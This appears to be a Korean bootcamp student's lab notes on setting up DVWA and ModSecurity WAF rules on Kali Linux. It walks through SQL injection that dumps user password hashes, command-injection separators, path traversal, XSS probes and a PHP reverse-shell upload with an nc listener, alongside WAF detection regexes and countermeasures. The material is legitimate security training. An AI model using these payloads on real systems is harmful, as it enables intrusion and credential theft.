보안교과서
[SK shieldus 새싹 성동1기] 온프레미스와 클라우드 환경의 보안관제 실무 환경 설정 본문
cd /usr/share/modsecurity-crs
l환경변수 설정하는거 올려도 괜찮나?
시작할 때 vmware 라이센스 만료로 당황스러웠다.
재설치하라고 했던 강사님 말이 기억에 남아서 재설치해도 ..시디키 뭐 인증하라고해서
뭐 어떠한 방법으로 해결했다.
그래서 칼리 리눅스 들어가서
상단에 터미널 들어가기
root로 들어가기
sudo su
apt update
apt install kali-linux-labs -y
순으로 진행 근데 처음 할 때 lab 설치 할 때 나는 이상한 오류
bad connection이라길래 nat 잘못 연결했나하고 이것 저것 만지다가
그냥 칼리 재접속하니까 해결
오랜 설치 끝에
dvwa-start
입력 시 이렇게 색이 변해야 정상적으로 설치된 것이라고 하신 것 같은데..
그 다음 수정해야하는 파일 2가지가 있어서 경로로 들어가서 수정해줘야한다.
mousepad /etc/php/8.2/apache2/php.ini
# 870번 라인 allow_url_include = off 에서 on 으로 변경
mousepad /etc/php/8.2/cli/php.ini
# 같은 라인 870번 라인 allow_url_include = off 에서 on 으로 변경
mㅐㅕ
항상 변경 후 ctrl s로 저장하자
그 다음
dvwa-stop
# 서비스 스탑
근데 왜 정지하는거지 ; (수정 예정)
cp -r /usr/share/dvwa /var/www/html
dvwa에 있는 거 복사해서 html로 전부 옮기겠다 그런의미
service apache2 start
아파치 재시작
firefox 접속해서 도메인 창에 localhost , localhost/dvwa 입력해보자
페이지 실행 확인
페이지 실행 확인
좌측 setup/reset DB 들어가서
하단의 create 버튼 입력
그러면 SETUP SUCCESSFUL이 뜰 것이다. (캡처는 못함)
그 다음 옵션 설정 해야한다.
파이어폭스 새로운 탭 추가
about:config
가볍게 경고 무시
들어가서 proxy. 검색 후 빨간 줄 설정값 수정 더블 클릭하면 수정가능하다. (false -> true)
다시 터미널로 가서
ls -l /var/lib/dvwa/uploads
# 이 경로에서의 업로드 권한을 확인 drwxe-xr-x 일 듯
chmod -R 777 /var/lib/dvwa/uploads
#권한 변경
ls -l /var/lib/dvwa
#정상적으로 변경되었는지 확인
권한 변한 것 확인
그러면 dvwa 사이트에 file upload 경고창에 오류 문구 보이지 않는다.
그 다음 다시 터미널로
apt install libapache2-mod-security2 -y
# 그러면 차르륵 나오는데 apache2_invoke : enable moduel security2 를 확인 한다 (정상적 설치 확인 )
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
#복사
mousepad /etc/modsecurity/modsecurity.conf
# 복사한 config 파일 오픈하고 수정하자
여기 혼자하다가 오타 못 알아봐서 고생했음
암튼 7번째 줄 On으로 수정
저장 꼭 하고
systemctl restart apache2
#아파치 재시작
cd /etc/apache2/sites-available
#test role 확인 제대로 동작하는지 / 통해서 000-default.conf 확인
mousepad 000-default.conf
#confif 파일 열어라
#</virtualHost>
#31,32줄에 각각 새로 추가
SecRuleEngine On
SecRule ARGS:testparam "@contains test" "id:9999999,deny,status:403,msg:'TEST rule'"
파이어 폭스 접속
확인하는데 음.. 강사님이 오류발생 ..?
DVWA SECURITY에서 LOW로도 설정하시고 이것저것 만져보시는데 MAIN PAGE만 적용이 안된다고 하셨다.
다시 DVWA들어가서
module security가 실행 중이라 뜨는 것이다. 라고 하셨다.
들어가서 에러 로그 뜨는 것 확인
나머지 추가 환경 변수 추가하면 더 추가하겠습니다.
12/12 2일차
cd /etc/apache2/sites-available
mousepad 000-default.conf
#000-default.conf 수정하기
변수 수정을 했다 .
32번째 줄 msg 내용이랑 id 뒤의 999를 변경했는데 중요한 값은 아닌 것 같다.
curl -X GET http://127.0.0.1/?testparam=a
#잘 나옴
curl -X GET http://127.0.0.1/?testparam=test
#403출력
testparam=a 는 잘 나온다
하지만
testparam = test는 forbidden 403 출력
cd /etc/modsecurity/
mousepad modsecurity.conf
# 7번쨰 라인 security 엔진을 온오프 하면서 서비스 변경
rules 들어가서 ls
mousepad REQUEST-930-APPLICATION-ATTACK-LFI.conf
파일을 열어보자
30번째 부터 설정값변경
그 전에
------------------------------------------------------------------------------------------------------------
[URL구조 이해]
ex) https://teest.com/?abcd=1234
https : 사용하는 프로토콜
test.com : domain(절대 변하지 않는 값, 고정된 주소)
?abcd = 변수(파라미터)
1234 : 변수에 대입할 데이터 값
ex) https://test.com/abcd/1234
abcd : path(경로)를 나타냄
1234 : page를 나타냄
[웹 취약점 진단]
1. 파라미터 변조
2. 게시글 입력
3. 프로세스 검증
4. 자동화 스캔
3제외 하고 124만 웹 방화벽을 가지고 탐지가 가능하다.
3은 탐지가 불가능하다 .그이유는 실행하는 순서를 강제 조작하는 것이기 때문에 웹 방화벽은 감지 x
https://test.com/abcd/1234/<SCRIPT>alert('test')</script> >> 모두 path로 인식 그래서 대표적인 오탐 ...
abcd또는 1234에 sql 쿼리나, LFI, XSS등 입력을 해도 실행이 안됨
------------------------------------------------------------------------------------------------------
SecRule : 접두어(무조건 사용해야함)
REQUEST_URI_RAW|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer|XML:/* : 탐지영역
uri_raw : uri값을 raw값으로 확인 (바이너리 또는 hex값으로 체크)
args : 변수체크(파라미터)
request_headers : 사용자 요청 헤더 필드 검사
!REQUEST_HEADERS:Referer : 해당 필드(referer)는 체크 하지 않겠다. (!는 not을 의미한다.)
XML:/* : xml 필드 체크하겠다.
"@rx (?i)(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8|e)0%80%ae|2(?:(?:5(?:c0%25a|2))?e|%45)|u(?:(?:002|ff0)e|2024)|%32(?:%(?:%6|4)5|E)|c0(?:%[256aef]e|\.))|\.(?:%0[01]|\?)?|\?\.?|0x2e){2}(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\/))" : 탐지하고자 하는 문자열 (텍스트, 정규표현식 모두 사용가능)
@rx : 해당 문자열로 시작을 의미
()는 각각의 OR 조건
../../../../
.%5c/.%5c/.%5c/.%5c/
4번째 필드 액션 필드
file:///
"id:930100,\ : 탐지 되었을 때 고유 식별 값
phase:2,\ :phase는 1~5 까지 존재 , 생략 가능 (두번째 필드에서 지정)
1> REQUEST_HEADER체크
2>1 + REQUEST_BODY 체크
3>2+RESPONE_HEADER 체크
4>3+RESPONSE_BODY 체크
5>ALL
block,\ : 차단 옵션 (실행을 막음), DENY > 거부 (실행은 하지만 결과값 반환X)
capture,\ : LOG를 기록(생략 가능)
t:none,\ : t옵션지시자에는 대소문자 구분 옵션, 인코딩, 디코딩 탐지 옵션이 있음 : 룰을 작성할 때 대소문자, 인코딩 데이터등을 고려하여 룰 작성 필요
msg:'Path Traversal Attack (/../)',\ : 탐지되었을 때 로그에 남길 메시지
logdata:'Matched Data: %{TX.0} found within
%{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ : 생략 가능
tag:'application-multi',\ : 액션 필드 (룰에 의해 탐지 되었을 때 취할 행동)
modsecurity.conf
오프로 변경 후 아파치 재시작
로컬 호스트 dvwa 접속
security level 변경 \
cmd 창 입력
이렇게 나온게 맞나?
http://127.0.0.1:42001/security.php 접속
시큐리티 로우 값으로 변경
체크한 것들을 해본다.
[ 웹 취약점 이해 ]
1. command injection
>> 명령어 주입 공격(시스템에서 사용하는 명령어를 사용할 수 있는 환경)
:: 취약점 발생조건 : 소스코드 내 시스템 함수 사용
소스코드 시스템 함수 : exec, system, cmd, shell 과 같은 함수 사용
>> 취약점 검증 : ; , | , || , &&를 통해 검증 가능
; : 첫번째 명령어와 상관없이 두번째 명령어 실행
| : 첫번째 명령어 에러 발생 시 두번째 명령어 실행
|| : 첫번째 명령어 성공시 두번쨰 명령어 실행안
&& : 첫번째 명령어 실행 시, 두번째 명령어 실행
:: 파라미터 데이터에 ';ls'와 같이 입력하여 실행 여부 확인
>> 입력되는 데이터의 인코딩 여부 고려를 해야함
>>일반적인 웹에서는 취약점이 거의 없음, 네트워크 장비의 관리자 페이지에서 많이 발생됨
>> 단순히 web 서버만 보호할게 아니라 모든 대역에 대해 보호가 필요
2. File Inclusion
>> 파일 참조 공격
>> L(Local)FI , R(Remote)FI
>> 취약점 원인 : include, locate, show ,content, action등 함수에서 발생
>>취약점 검증 : 파라미터 데이터에 입력, 리퀘스트 바디 필드에 입력하여 검증
::LFI : ../../../../../를 통해 특정 위치 파일 참조
(file:///로 특정 파일 열람)
ex)?page=file1.php와 같은 구조는 취약점 확률이 높음
::RFI : http://~ 원격지 주소
::LFI는 단순히 타켓 서버에 저장되어 있는 파일을 열람하는 수준에 그치지만, RFI 는 공격자가 만들어놓은 취약한 페이지를 타켓 시스템으로 임포트하여 실행하므로 RFC 공격 연계 가능
RFI 가 가능하면 원격지 에서 타켓 시스템에 원하는 파일 생성 , 실행 가능
3. FILE UPLOAD
>> 게시판의 업로드 기능을 통해 악성 파일을 업로드하여 실행
>> 취약점 : 확장자 기반의 필터링, 헤더 정보에 컨텐츠 타입 필터링
>> 취약점 검증 : PHP, sh ,html등 확장자를 가지고 파일 업로드
cd /home/kali/Desktop
cp /usr/share/webshells/php/php-reverse-shell.php ./
#데스크탑 경로로 복사
ip ad로 ip 확인
mousepad php-reverse-shell.php
49 칼리 ip 변경
50 수정 안해도 ㄱㅊ
>>FileUpload는 게시판 뿐만 아니라 METHOD를 통해서도 강제 업로드 가능 (WAF로 대응 불가) > PUT
::PUT메소드가 활성화 되어 있더라도, 해당 디렉토리에 쓰기 권한이 없으면 사용 불가 , 사용되는 method는 path별로 각각
설정도 가능 , 즉 폴더별로 쓰기 권한이 다를 경우 취약점이 없을 수 있음 . 서브 도메인까지 모두 확인 필요
:: http://test.com 메인, http://mail.test.com은 은 서브 도메인이 됨
dvwa upload 들어가서 데스크탑 파일 선택
nc -lvnp 1234
아까 업로드한 파일 경로 복사 후 입력
4. SQL Injection
ex) $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
의미없는 것들을 지우면 ..
SELECT first_name, last_name FROM users WHERE user_id = '$id'
select : 검색 쿼리
first_name, last_name : 컬럼명
From users : 검색할 테이블 지정
where : 조건 설정
user_id = '$id" id가 N입력될 경우 N번에 맞는 first&last name출력
[DB이해]
데이터베이스 : 테이블이 저장되어 있는 전체 구조
테이블 : 특정 목적을 가지는 컬럼과 행으로 구성
컬럼 : 더이상 쪼개질 수 없는 속성 정보
행 : 저장되는 데이터
일반적으로 WEB 서버는 1개의 DB안에 여러개의 TABLE로 구성
EX)
[ DB와 아파트 ]
데이터베이스 = 아파트 이름 (래미안)
테이블 = 각 호실 의미(101호 , 201호 등)
컬럼 = 주방, 욕실, 식탁 등
행 = 주방안에 있는 실제 용품들(도마, 식탁 등)
EX) WHERE user_id = '1' or '1' = '1' #' 조건절만 확인 하면됨 > 구조
SQLi 원리 : 1 ' or '1' = '1' # 쿼리를 완성하여 구조(문법)오류 제거
'1' or '1' ='1'#' or은 둘중 하나만 참이면 무조건 반환(저장된 첫번째 행 테이터가 출력됨)
로그인 우회 : 'or 1=1 # , 'or 1=1 -- 사용
#,-- : 주석처리 구문
WHERE USER_ID = ' test' or 1=1 #' AND pass='abcd'
WHERE USER_ID = ' test' AND pass=' ' or 1=1 #'
정보 추출 : 'union select 구문을 사용 > 다중 검색 구문
WHERE user_id = '1 ''union select 1,2,3# 으로 컬럼 갯수부터 파악
UNION은 AND 개념
컬럼 갯수 파악은 내가 쿼리를 입력하고 있는 페이지 기준 -> 반환되는 데이터 구조, ex) 게시글 조회시, id,content,date ,name처럼 4개의 컬럼으로 구성시 union select 1,2,3,4#을 입력해야 정보 추출(SQLi)이 가능한지 확인 가능한지 확인할 수 있음 1,2,3을 하나씩 증가하여 입력 컬럼 갯수를 찾음
5까지 나오는 것을 보고 아이디가 5개 나오는것을 확인 가능하다 .
이게 localhost로 들어가서 입력하면 포트 오류가 뜨기 때문에 127.0.0.1:42001포트로 들어가서 입력하니까 해결되었다.,
1 'union select 1,@@version#
1 'union select 1,schema_name from information_schema.schemata#
dvwa : web이름
>> schema_name : DB 이름
>> Information_schema : table, DB 정보를 가지고 있는 테이블(DB 이름, table 컬럼명을 저장)
1 'union select 1,table_name from information_schema.tables#
table 이름들 출력되는 것 확인
조건 추가
1 'union select 1,table_name from information_schema.tables where table_schema='dvwa'#
테이블 종류 : guestbook : 게시판 /users: 유저
1 'union select 1,column_name from information_schema.columns where table_name='users'#
id password 출력이 될 것이다.
우리가 확인하고 싶은게 user와 password이다
1 'union select 1,column_name from information_schema.columns where table_name='users'# 에서
1 'union select user,password from users#
1 'union select user,password from users#
UNION 은 같은
ID: 1 'union select user,password from users#
First name: admin
Surname: admin
ID: 1 'union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1 'union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 'union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 'union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 'union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
여기서 해쉬값만 남기고 정리해서 입력
5. XSS >> CSRF(XSS 취약점이 있어야 가능)
>> Cross Site Script, 스크립트를 통해 정보를 전송하거나, 다운로드 할 수 있게하는 취약점
>> <script>, <img>, <div>와 같은 태그가 허용 되어 있을 경우 가능
: <script>alert("test")</script> 로 취약점 검증
>>xss를 가지고 할 수 있는 고도화된 공격은 없음 (악의적인 페이지로 리다이렉트 되도록 코딩은 가능)
입력
<script>al
<script>alert("test")</script>ssss
maxlength 10 -> 100? 변경
------------------------------------------------------------------------------------------
[대응방안] WAF 는 정적 (알려진) 데이터 기반으로 가능
1. command Injection >> 파라미터 변조 공격
>> 가장 쉬운 대응은 ; , | , || ,&& 문자열을 치환 (시큐어코딩)
>>WAF에서 문자열을 탐지하도록 룰을 설정
2. File Inclusion
>> 가장 쉬운 대응은 ../,file:///, https:// 문자열을 치환
>> WAF에서 문자열을 탐지하도록 룰 설정
>> http://test.com/?abcd=https://attack.com URI
:: 탐지 영역을 REQUEST_URI 또는 REQUEST_BODY로 설정해야함
3. File upload
>> 화이트리스트 기반 확장자 필터 설정
>> 업로드 되는 경로(폴더)에 실행 권한 제거
>>WAF(라는 방화벽)에서 REQUEST_BODY에 포함된 문자열 탐지
>> 악성파일에서 많이 사용되는 문자열 탐지
::SHELL, /BIN/SH, /BIN/BASH, CMD등 이 포함된다.
4.SQLi
>> ' 만 시큐어코딩
>> 웹서버 설정 변경(masic_quoter) (?)
>> WAF select, union, ' , --, # 문자열 필터링
REQUEST_Body, Header, ARGS 체크
5.XSS
>> '<' 문자열 시큐어 코딩 (TAG 문자열도 필터링 )
>> WAF <,script, img, div 문자열 탐지 >> REQUEST_Body, Header, ARGS
6. 헤더 변조
>> user_agent : curl, sqlmap, acunetix, owasp-zap 등
>>waf 에서 request_header에서 탐지하도록 룰 설정
WAF 대응 불가 > 파라미터 데이터를 자동화하여 대입하는 공격 유형들
WAF는 정규 표현식을 지원하기 때문에 sqlmap >> s q l m a p 와 같은 WAF 우회용 코드를 도탐지 가능
웹 취약점은 단순한 공격코드만 사용하는게 아니라, WAF와 같은 보안솔루션(시큐어 코딩도)을 우회하기 위해 NULL문자를 포함하기도함
EX ) SPACE BAR도 NULL문자
ASCII 의 00 08 20
>>WAF로그에 다양한 SQL쿼리 로그 식별 시, 홈페이지에 SQLi취약점이 있는지 확인만하면됨. (가장 기본이 되는 구문입력으로 실행 가능여부 판단)
>> SQL 쿼리를 통해 원하는 정보를 추출하는 취약점, 또는 SQL DB를 통해 SHELL(OS SHELL) 실행도 가능
>> login 과정, 게시판 글 조회, 검색 시 SQL 쿼리를 통해 이뤄집니다.
:login: 내가 입력한 ID, PW를 DB에 저장되어 있는지 조회
:게시판 글: 게시판에 대한 고유번호, 컨텐츠 내용, 작성일, 작성자와 같은 정보가 DB에 저장 >> 게시글 조회 시 DB에 저장된 글인지 확인해야합니다 .
: 검색 : 입력한 키워드를 통해 SQL 쿼리를 사용하여 DB에 저장된 데이터가 있는지 조회
curl -X OPTIONS -v http://127.0.0.1:42001/index.php
connection 이 allow 로 나와야하는데 ..(?? 맞나 )
curl -X OPTIONS -v http://vulnweb.com
not allowed 확인
[HTTP METHOD 이해] : GET, POST , PUT, DELETE ,OPTIONS,
GET : 특정 페이지를 서버로 요청
POST : 데이터를 서버와 비교 또는 서버에 반영
PUT : 서버로 데이터를 업로드 >> FileUpload
DELETE : 서버에 저장된 데이터(리소스)를 삭제
OPTIONS : 어떤 유형의 METHOD가 ALLOW되어 있는지 확인
[공격자(공격그룹) 공격프로세스 이해]
1. 웹 >> 접근성이 용이
>> 웹에서 식별되는 취약점은 거의 없음
:: 2023년 1월 발생된 샤오치잉 공격은 제외 이유는 해킹당한 대상 기관에는 정보보호 조직이 없었다.
:: 웹 취약점 중 권한을 넘겨주는 취약점은 SQLi, command injection, FileUpload, LFI/RFI 4개의 취약점이 대표적
2. 시스템 취약점
설정상 오류 또는 패치누락 등으로 발생하는 취약점(Bof), MS17-010과 같이 SMB 프로토콜의 취약점을 통해 원격에서 타겟 시스템으로 바로 접속 가능
3. 알려진 CVE
Log4j, Apache Structure 등 (버전정보 필요)
4. 이메일
첨부파일을 통한 악성코드 배포 (리버스쉘)
5. 물리(SUB)
악성코드 배포, 시스템 설정 변경 등
정보 수집 -> 악성코드 제작 -> 배포 -> 시스템 권한 획득 -> 악용
정보 수집 : 플랫폼(소셜미디어, 인터넷 등), 스캐닝 공격을 통해 실행중인 서비스 식별
악성코드제작 : 타겟에 특화된 악성코드 제작 (소셜미디어를 통해 특화된 악성코드 제작이 가능, 관심사 반영 )
ex) 교수 : 논문 , 학회참석 , 연구
A교수가 XX일 에 XXX학회를 다녀옴 게시글 확인 > XXX 학회에서 배포되는 문서로 악성코드를 삽입하여 제작
배포 : 이메일로 배포
악용 단계에서 공격자는 동일 네트워크의 다른 시스템 접속을 시도함
명령어를 입력하면 나온다
소스 코드 확인
<?php
// The page we wish to display
$file = $_GET[ 'page' ]; # $에서 부터 ; 까지 파라미터 구조
?>
etc/passwd () , kali 출력 확인 마지막 줄 어딘가 ...
LFI는 크게 의미 없고 RFI 공격을 실행하는 것이 중요하다. OFF
아래는 RFI 인듯
cd /usr/share/modsecurity-crs/rules
ls
mousepad REQUEST-932-APPLICATION-ATTACK-RCE.conf
cd /usr/share/modsecurity-crs/rules
ls
mousepad REQUEST-932-APPLICATION-ATTACK-RCE.conf
# SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:;|\{|\||\|\||&|&&|\n|\r|\$\(|\$\(\(|`|\${|<\(|>\(|\(\s*\))\s*(?:{|\s*\(\s*|\w+=(?:[^\s]*|\$.*|\$.*|<.*|>.*|\'.*\'|\".*\")\s+|!\s*|\$)*\s*(?:'|\")*(?:[\?\*\[\]\(\)\-\|+\w'\"\./\\\\]+/)?[\\\\'\"]*
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:\$(?:\((?:\(.*\)|.*)\)|\{.*\})|[<>]\(.*\))" \
92번째 줄
347줄 $로 시작하는 문자열 탐지하겠다 ..
\ s*\
http://127.0.0.1/dvwa/ 로 입장하기
port 번호 지우고
forbidden
931 번 오픈
SecRule ARGS "@rx ^(?i:file|ftps?|https?):\/\/(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" \
file ftps https d = digit
file upload 바로 업로드시 forbidden
SQLi = 942
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:select|;)\s+(?:benchmark|sleep|if)\s*?\(\s*?\(?\s*?\w+)" \
select
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:;?\s*?(?:having|select|union)\b\s*?[^\s]|\s*?!\s*?[\"'`\w])|(?:c(?:onnection_id|urrent_user)|database)\s*?\([^\)]*?|u(?:nion(?:[\w(\s]*?select| select @)|ser\s*?\([^\)]*?)|s(?:chema\s*?\([^\)]*?|elect.*?\w?user\()|into[\s+]+(?:dump|out)file\s*?[\"'`]|\s*?exec(?:ute)?.*?\Wxp_cmdshell|from\W+information_schema\W|exec(?:ute)?\s+master\.|\wiif\s*?\())" \
165줄 c(?:onnection
278
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)union.*?select.*?from" \
941번오픈
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|REQUEST_HEADERS:User-Agent|REQUEST_HEADERS:Referer|ARGS_NAMES|ARGS|XML:/* "@rx (?i)<script[^>]*>[\s\S]*?" \
로그가 저장되는로그로 이동
cd /var/log/apache2
들어가서
error.log 와 modsec_audit.log 2개의 로그를 확인하면 됨
Modserucurity log는 a~z까지의 필드로 구성됨 (6개 정도 사용)
>> modsex_audit.log가 필드로 구성됨
error.log 는 딱 한 개의 필드 탐지 내역만 저장해줌
cat error.log
마지막 로그
[Tue Dec 12 02:41:00.314691 2023] [security2:error] [pid 225839] [client ::1:56330] [client ::1] ModSecurity: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "56"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:mtxMessage: <script>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "localhost"] [uri "/dvwa/vulnerabilities/xss_s/"] [unique_id "ZXgOjCevCotlWOIPTy8UpQAAAAY"], referer: http://localhost/dvwa/vulnerabilities/xss_s/
a 로그인 시작 알림
e - respone body
F 는 Respone Header
h 는 error에 기록되는 로그와 동일, 시간 정보만 a 필드
j 업로드 되는 데이터 파일 이름
z 로그의 끝 ()
특정 통계에 대해 통계 > 키워드로 검색